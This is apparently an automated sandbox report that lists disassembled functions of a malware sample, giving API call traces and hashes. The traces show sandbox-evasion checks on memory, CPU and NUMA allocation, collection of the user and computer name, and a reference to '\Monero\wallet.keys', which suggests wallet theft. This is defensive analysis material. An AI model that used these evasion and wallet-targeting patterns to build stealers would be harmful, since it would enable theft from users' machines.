Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e6aa804167939462d689ceb94c6de4ec06278ecde2dd1e27e935b4a763d1f461
Instruction ID: fdc48fc71fa8c2ee1335da8e10df7d65268d1e5579e7a788444f0960b39d8fa5
Opcode Fuzzy Hash: e6aa804167939462d689ceb94c6de4ec06278ecde2dd1e27e935b4a763d1f461
Instruction Fuzzy Hash: 4C210A71900218ABDB64DB54DC85FE9B7B8FF48701F04C1A8A609A7280DF716A86CFD4

Function 00F47E00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47E37
RtlAllocateHeap.NTDLL(00000000), ref: 00F47E3E
RegOpenKeyExA.KERNEL32(80000002,0077B8E8,00000000,00020119,?), ref: 00F47E5E
RegQueryValueExA.KERNEL32(?,0078E328,00000000,00000000,000000FF,000000FF), ref: 00F47E7F
RegCloseKey.ADVAPI32(?), ref: 00F47E92

Strings

(x, xrefs: 00F47E74

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: (x
API String ID: 3225020163-2016957024
Opcode ID: 039f55a6bbb149f8526a1b2cf01575436d7729dae31c218178699ffdce5b80db
Instruction ID: 8fb15d021856d878319a06251ca9b2134482ed3b370488207e3e41c77239bfe5
Opcode Fuzzy Hash: 039f55a6bbb149f8526a1b2cf01575436d7729dae31c218178699ffdce5b80db
Instruction Fuzzy Hash: A61191B2A44205EBD714DF94E849F7FFBB8EB04711F104269FA15A7384D77558409BA0

Function 00F47690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F476A4
RtlAllocateHeap.NTDLL(00000000), ref: 00F476AB
RegOpenKeyExA.KERNEL32(80000002,0077BD10,00000000,00020119,00000000), ref: 00F476DD
RegQueryValueExA.KERNEL32(00000000,0078F080,00000000,00000000,?,000000FF), ref: 00F476FE
RegCloseKey.ADVAPI32(00000000), ref: 00F47708

Strings

Windows 11, xrefs: 00F476BD

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 97c08ea542843f440a4183c2ef7b933adba5d37f8d023271051621822ca8cc3c
Instruction ID: a96f26d7dbd5231e9db91d216ab0a3d28f2dd4a566f3549ad8159502e2534adf
Opcode Fuzzy Hash: 97c08ea542843f440a4183c2ef7b933adba5d37f8d023271051621822ca8cc3c
Instruction Fuzzy Hash: 94017CB5A04304BBD714EBA0E849F6DBBB8EF08702F144064FE1597385D77099409B50

Function 00F47720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47734
RtlAllocateHeap.NTDLL(00000000), ref: 00F4773B
RegOpenKeyExA.KERNEL32(80000002,0077BD10,00000000,00020119,00F476B9), ref: 00F4775B
RegQueryValueExA.KERNEL32(00F476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00F4777A
RegCloseKey.ADVAPI32(00F476B9), ref: 00F47784

Strings

CurrentBuildNumber, xrefs: 00F47771

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 712601a90e6e701aedd37453c3dedd6c99cf666394d17b6c8c7d4782b50f11c0
Instruction ID: 789ee11018c9d011af1db38cd68cac9b72ac99f0dd5e6e8790c3c1696774a88d
Opcode Fuzzy Hash: 712601a90e6e701aedd37453c3dedd6c99cf666394d17b6c8c7d4782b50f11c0
Instruction Fuzzy Hash: 630184B5A00308BBD714DBE0EC49FAEB7B8EF04701F044064FA15A7285DA7055408B50

Function 00F469F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781758), ref: 00F498A1
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781578), ref: 00F498BA
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,007816E0), ref: 00F498D2
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781680), ref: 00F498EA
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781698), ref: 00F49903
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00788AA8), ref: 00F4991B
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00775068), ref: 00F49933
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00775228), ref: 00F4994C
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,007816B0), ref: 00F49964
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781728), ref: 00F4997C
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781500), ref: 00F49995
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,007815C0), ref: 00F499AD
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,007752C8), ref: 00F499C5
Part of subcall function 00F49860: GetProcAddress.KERNEL32(76210000,00781740), ref: 00F499DE

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F311D0: ExitProcess.KERNEL32 ref: 00F31211

Part of subcall function 00F31160: GetSystemInfo.KERNEL32(?), ref: 00F3116A
Part of subcall function 00F31160: ExitProcess.KERNEL32 ref: 00F3117E

Part of subcall function 00F31110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F3112B
Part of subcall function 00F31110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00F31132
Part of subcall function 00F31110: ExitProcess.KERNEL32 ref: 00F31143

Part of subcall function 00F31220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F3123E
Part of subcall function 00F31220: __aulldiv.LIBCMT ref: 00F31258
Part of subcall function 00F31220: __aulldiv.LIBCMT ref: 00F31266
Part of subcall function 00F31220: ExitProcess.KERNEL32 ref: 00F31294

Part of subcall function 00F46770: GetUserDefaultLangID.KERNEL32 ref: 00F46774

Part of subcall function 00F31190: ExitProcess.KERNEL32 ref: 00F311C6

Part of subcall function 00F47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F311B7), ref: 00F47880
Part of subcall function 00F47850: RtlAllocateHeap.NTDLL(00000000), ref: 00F47887
Part of subcall function 00F47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F4789F

Part of subcall function 00F478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47910
Part of subcall function 00F478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F47917
Part of subcall function 00F478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F4792F

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00788AF8,?,00F5110C,?,00000000,?,00F51110,?,00000000,00F50AEF), ref: 00F46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F46AE8
CloseHandle.KERNEL32(00000000), ref: 00F46AF9
Sleep.KERNEL32(00001770), ref: 00F46B04
CloseHandle.KERNEL32(?,00000000,?,00788AF8,?,00F5110C,?,00000000,?,00F51110,?,00000000,00F50AEF), ref: 00F46B1A
ExitProcess.KERNEL32 ref: 00F46B22

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 4abec96eefbc8c4372fdb3efc18c97071b536e2f6692bf036eaccf18404c9ef5
Instruction ID: 14d81e72d2a368d267d4b03264bcc93f37274c069180d6ebc73fc46b4d2bd6e3
Opcode Fuzzy Hash: 4abec96eefbc8c4372fdb3efc18c97071b536e2f6692bf036eaccf18404c9ef5
Instruction Fuzzy Hash: 6D311E71944208AAEB04FBF0DC56BEE7B78FF44341F104528FA12A2182DF786945E7A2

Function 00F399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F39A11
LocalAlloc.KERNEL32(00000040,?), ref: 00F39A31
ReadFile.KERNEL32(000000FF,?,00000000,00F3148F,00000000), ref: 00F39A5A
LocalFree.KERNEL32(00F3148F), ref: 00F39A90
CloseHandle.KERNEL32(000000FF), ref: 00F39A9A

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: ced1f1c0df181591e1e5a5c78706a76e6514e3519c6324048b00f026c10d4d9e
Instruction ID: e63e947d313499454b6d367c1d9c2a9ba9588e0a3f8c1a7563445ed4e64c56c3
Opcode Fuzzy Hash: ced1f1c0df181591e1e5a5c78706a76e6514e3519c6324048b00f026c10d4d9e
Instruction Fuzzy Hash: 01310674A04209EFDF24DF94D885BAE77B5FF48321F108258E911A7290D7B8A981DFA0

Function 00F31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F3123E
__aulldiv.LIBCMT ref: 00F31258
__aulldiv.LIBCMT ref: 00F31266
ExitProcess.KERNEL32 ref: 00F31294

Strings

@, xrefs: 00F31233

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e68e574f3f89ebba083ae1e3a6259b136540b0a78935db6ee165925b9a9c6641
Instruction ID: f206043644459868d51fb823b262886a2ed00888c04582da6ebe18efda8e4643
Opcode Fuzzy Hash: e68e574f3f89ebba083ae1e3a6259b136540b0a78935db6ee165925b9a9c6641
Instruction Fuzzy Hash: 1F016DB0D40308FAEB10EFE0DC49B9EBB78BF04715F248058E705B62C1D77895459799

Function 00F41A10 Relevance: 7.9, APIs: 2, Strings: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F47500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F47542
Part of subcall function 00F47500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F4757F
Part of subcall function 00F47500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47603
Part of subcall function 00F47500: RtlAllocateHeap.NTDLL(00000000), ref: 00F4760A

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F47690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F476A4
Part of subcall function 00F47690: RtlAllocateHeap.NTDLL(00000000), ref: 00F476AB

Part of subcall function 00F477C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00F4DBC0,000000FF,?,00F41C99,00000000,?,0078E1A8,00000000,?), ref: 00F477F2
Part of subcall function 00F477C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00F4DBC0,000000FF,?,00F41C99,00000000,?,0078E1A8,00000000,?), ref: 00F477F9

Part of subcall function 00F47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F311B7), ref: 00F47880
Part of subcall function 00F47850: RtlAllocateHeap.NTDLL(00000000), ref: 00F47887
Part of subcall function 00F47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F4789F

Part of subcall function 00F478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47910
Part of subcall function 00F478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F47917
Part of subcall function 00F478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F4792F

